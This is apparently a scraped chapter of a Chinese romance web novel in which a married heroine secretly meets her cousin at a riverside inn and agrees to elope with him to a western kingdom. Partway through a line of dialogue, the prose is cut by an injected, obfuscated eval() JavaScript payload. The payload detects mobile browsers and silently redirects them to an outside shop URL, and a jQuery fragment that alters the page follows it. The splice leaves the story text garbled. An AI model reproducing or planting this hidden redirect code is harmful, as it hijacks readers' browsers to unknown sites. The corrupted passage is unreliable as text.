自春归那事之后,谢如锦果真没有再见过这人。府中上下也像商量好了似的,无人再提这个名字,哪怕她有心追问也无人应答。
至于那镇南侯孟衡,她一次也未见过。听人说,她和孟卿成亲次日,他便启程南下了。偌大的镇南侯府,便只剩下她和孟卿两人。
此刻,谢如锦独自坐在院中,手边一盏茶早已凉透。
她却看着院墙上攀着的藤蔓出神。这座府邸比谢府襄王府大了不知多少倍,吃穿用度样样精细,下人规矩本分,没有人怠慢她,可她就觉得自己像一只被关进黄金笼子里的雀儿。
且这几日,孟卿没有苛刻她分毫。但曾经撕破过脸的人,还能装作什么都没发生过一样,安生地过日子吗?
谢如锦心中烦闷更增。
可她转念一想:现在的日子不正是曾经她梦寐以求的吗?吃穿用度样样精细,不必看人眼色,不必为嫡庶之争费尽心机。除了府邸与夫君换人了,其他没有任何变化。她该高兴才对,但偏偏这“换人”二字,卡在她喉咙里吐不出咽不下。
心中潜意识告诉自己,孟卿这人从里到外没有那么简单。
他太疯狂了,她承受不住。
轻叹一口气。
“小……夫人。”自知叫错人的春莺,眼神立马四处张望,生怕被人瞧见记上一笔。这几日,只要她叫错称呼,总会有人想着法子罚她,她更不敢说于自家小姐。
谢如锦抬眸看了过去,“何事?”
“无……无事。只是方才晃了眼,以为有叶子掉进茶杯中。夫人莫怪。”春莺恭敬道。
瞧春莺那畏首畏尾的模样,谢如锦不想多说。也不知那日是不是敲打着太过头了,她只觉这丫头这几日行为着实胆小许多。
“收拾收拾,出府去。”
“出府?”春莺惊呼道,“可……可要通报一声?”
谢如锦闻言眉头微蹙,“出府为何通报?向谁通报?”
春莺不答,只眼神向另一侧瞟了瞟。
她侧目看去,是秋棠。孟卿安排在她身边的丫头。这些日子,她若一日不问话,这丫头便可一日不说话。但精明的两颗眼珠子时刻盯着她,无论她做了什么,孟卿自是一清二楚。
她就不信若真出府了,孟卿要拿她作何?谢如锦立即起身,对着秋棠道:“让府里人备好轿子,我要出府。”
秋棠低声应答:“是。”
没过半晌,府中已将轿子备好,谢如锦已然坐上轿子出府去了。
行至街道,只闻轿外时不时传来喧闹声,叫卖声。这样充满烟火气息的热闹声,她已许久未曾听闻。上一次这样的声音,还是她与表哥一同出府的那次。
心中念及景朔,谢如锦的心一下沉了下去。她轻掀轿帘,对外吩咐道:“去留仙居。”
得令的轿夫,随即抬着轿子调转方向,朝河岸走去。
轿外的喧闹声逐渐消散,取而代之是一种宁静祥和。谢如锦借着轿帘摇摆时的缝隙,瞧着岸边杨柳随风飘扬,姿态优雅,十分自由。
随着一声“落轿”。轿子稳稳当当停在留仙居门口。
春莺撩起轿帘,谢如锦才将眼前的景色瞧得真真切切。
风景依旧,昔人不复。
一声叹息,她便进了留仙居。
三次来访,三次心情不一。
当时只是道寻常,头一次惊心,第二次安心,这第三次……她跨过门槛的时候,忽然想不起自己该用什么心情来面对了。
行至大厅,谢如锦也不知自己该往何处。一管事瞧见,随即前来:“这位夫人可有提前订房?”
春莺应答:“未曾预定。”
“这可为难了,本居白日只招待提前定有雅房的客人。”管事难为情道。
谢如锦给了春莺一个眼神,春莺随即意会,从怀中掏出一枚金锭,对着管事道:“可有空房?”
管事道:“有是有一间,是位客人包下。虽包下那间房半月有余,但这些日子从未来。若是夫人去了,那客人又来……”
管事欲言又止,春莺从怀中又掏出一枚金锭。
“不不不。”管事连连摆手,对着谢如锦作揖道,“夫人,这不是钱的问题。怕就怕那客人今日前来。”
“管事,我今日来,只是赏景。若是那客人来了,我自不会在那间房逗留,也不会碰那间房的一杯一盏。定不让你为难,你看可好?”
管事难为情拈着长须看了一眼楼上,道:“好吧。”
话毕,春莺正要将手中两枚金锭递于上去。管事却摆手摇头,“夫人多虑。这金锭只取一枚即可,若是那客人来了,我会一并交还于他。”
谢如锦微笑颔首,“有劳。”
“夫人请随我来。”管事上前领路,一行三人紧随其后。
穿亭上楼,不一晌,便来到三层一间雅房门口。
管事将房门轻轻推开,转身道:“夫人,就是这间。这间雅房临江,正是赏景的好位置。待会儿,下人就将茶水端来。”
瞧清这间雅房,谢如锦心中一紧,但神色不变,道:“管事,今日只赏景,其他不必。”
“夫人有吩咐尽管派人来说。”管事作揖行礼道。
“若是这样,那请管事可否找一空处,让我这两位随从也好歇息歇息。”语毕,谢如锦扬手指了指自己身旁的春莺与秋棠。
秋棠不语,但春莺正想跟着说些什么却被她一个眼神闭了声。
“好办,好办。这楼后方是一花园,此刻正有蔷薇花架在那,假山造景,流水潺潺。是一个休闲的好去处。只要两位姑娘不叨扰到其他客人便可。”
“烦请管事安排。”谢如锦转身又对两人道,“你俩好些歇息,一个时辰后回来即可。”
管事上前领路,即使两人不怎么情愿,也被谢如锦几句挡回。临近楼梯拐角,秋棠回眸看了一眼紧闭的房门,随即跟着下楼去了。
步入房门,此刻屋内仅剩她一人。
环顾四周,古董玩意儿陈列摆设与那日别无他样。几步走向窗边,白皙一推,窗外景色依旧。
游廊画舫,舫上又是一群嬉戏游乐之人。
没错,这里正是她先前与景朔来的那间雅房。
双手搭在窗沿,江风吹拂在面庞上,让人不由闭上双眸,享受这片刻的宁静。
“若若?”
身后猛然传来一道惊喜的男声。
搭在窗沿的双手猛地攥紧,却不敢应答。
是熟悉的声音,可她不敢回头望,就怕这回头一瞧的是张充满嘲讽的脸。那张脸甚至可能会说:“真傻,怎么次次上当。”
见人立于窗边不动,门口的男人几步上前,临近几步之时,却又放缓脚步不敢上前,试探性的开口道:“若若,是你吗?”
谢如锦紧抿着唇,颤抖的指尖用力抓住窗沿。
男人向前一步,手正伸向她的肩膀,方要搭上时却倏然收回。别过头道:“方才我听管事说有家夫……夫人。”
简单的两字此刻在他嘴中着实拗口,艰难吐出,“进了这间雅房,我本不愿扰人兴致,却又听那人提及穿戴模样,我便知是你了。我也知此时我不应来找你,可我着实按耐不住激动,你知道吗?我终于能见到你的心情。”
这番话很难让人不动容,谢如锦已然明白身后这人定是他。可眼下她的身份,两人的处境让人不得不冷漠相对,或许相忘是对于他俩最好的结果。
“也罢,若你不愿见我,我走便是。”无奈道。
话落,身后随即响起离去的脚步声。
声音渐行渐远,越来越轻。
站在窗沿边的她泪流满面,原先克制的哭意此刻早已溃不成军,微弱的啜泣声终于自唇边流泻而出。
凄婉哀声。
自从娘亲去世,她再未这么哭过。
谢如锦一面低声啜泣,一面用力揩去眼角的泪。可这泪却止不住往外流,揩都揩不去,心中更是委屈。
眼前蓦然出现一张锦帕,青竹立于锦帕一角。
他竟回来了!
“如果不介意的话,用它吧。”低沉的声音充满温柔。
谢如锦别过头去,此刻的狼狈她不愿被他瞧了去。
男人也不恼,甚至逗着她:“怎么还和小时候一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726034|203097||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
样,总是等别人都走了,才悄悄地哭。来。”
锦帕再次递于她眼前,“赶紧擦擦,不然就便小花猫了。呵呵。”
男人低沉的笑声,让谢如锦再也忍不住了,猛地转身扑进他的怀里。
是熟悉的气味。
温柔又温暖。
心中得到这几日从未有的安心,哭诉道:“表哥。”
“表哥”二字叫的景朔身子明显一僵,大手随即拍打在她后背,安慰道:“乖,我在。”
“你为什么现在才来?你知不知道若若那天一直在等你!”哭诉声更大。
“我……我……”
拍打在她后背的大手僵在半空,谢如锦抬起一双水灵灵的眼眸看着他,鼻间还发出一抽一抽的声响。
“那日我……”
“你瘦了。”
两人一同开口道。
谢如锦看着这张见了不知多少次熟悉的面容明显憔悴了许多,且眼神亦没有了往日神采。心中顿时泛起心疼,手不由摸上这张脸,却被景朔像有感知般提前躲开了,徒留手悬在半空。
瞬间明白自己行为有失此刻身份,她尴尬的将手收了回来,若无其事道:“表哥与三妹妹可还好?”
一语未了,景朔立刻低声道:“我没成亲。”
“什么?”
“那日是二弟与谢如云成亲了。”
景朔将手中锦帕放入她手中,落寞转身离开。
谢如锦瞧着手中这张锦帕,脑中消化方才那番话。他竟然没有成亲,不知怎得,她的心竟有股不道德的畅快。
“为什么?”她对着即将走出房门的人道。
方放在门框上的大手停下了手中的动作,他却不答。
只见门框上的五指逐渐收紧,收紧。随之攥紧成拳,指节突出泛白。
谢如锦缓缓走了上去,将手温柔覆盖在用力成拳的大手上,心疼道:“别这样,会伤着自己。”
话犹未了,她整个人落入一个温暖的怀抱。
景朔压抑的声音在耳畔响起:“若若,我不愿,我不愿娶不爱的人,可父亲母亲他们都在逼我!”
声音压抑着痛苦,让人格外心疼。让她想起前些日子的自己,眼泪亦随之涌出,无声滑过脸颊。
强壮有力的大手用力抱着她,生怕身前人一个不小心,又会消失不见。
“我本想来找你,”他低声道,“可我没想到父亲母亲竟将我锁在府中,不让我外出,就为了所谓的利益联姻。”
原来他和自己一样,都是被所谓的亲人背叛了。谢如锦心中酸涩心疼涌上,纤细的双手回抱住他的腰腹。
景朔的身子明显一怔,随即用更大的力气回抱她。
谢如锦关切询问道:“他们不给你饭吗?”
说到这,景朔竟露出孩子般的天真笑容,自豪道:“我自己绝食抗议,一直到成亲前夜,父亲母亲实在没法,才决定让二弟娶亲。”
天真的面容,似乎在向她证明自己的坚持,谢如锦不由笑道:“表哥真聪明。”
景朔拿起锦帕小心翼翼为她擦拭脸上的泪水,眼里带着一种近乎小心的期待:“若若还信我吗?”
谢如锦怔怔望着他,不懂他为什么这么问。
景朔深吸一口气道:“这几年,我朝与大梁国联系紧密,现要互派使节,圣上正愁出使大梁的使节人选问题。”
大梁,那可是在西边。
谢如锦惊愕的看着面前人。
“圣上前些日子曾宣我进宫,问我是否愿意出使大梁。起初,我想新婚当前,我怎愿离开你。”提及这,景朔苦笑了一下,眼中神采暗淡,“但现在留在这又有何意?”
“若若,我知道现在提这些已经为时已晚或是时机不对。但我还是想对你说,我怕我再不说就没有机会了。”
谢如锦望着他瘦削的侧脸,“你说。”
“你愿意和我走吗?”景朔小心翼翼问道,“放弃这一切,在大梁重新开始。那里没有人认识我们,也没有只顾利益的父母,只有我们。”
明知前途未卜,可她竟顺着心意说出:“好,我跟你走。”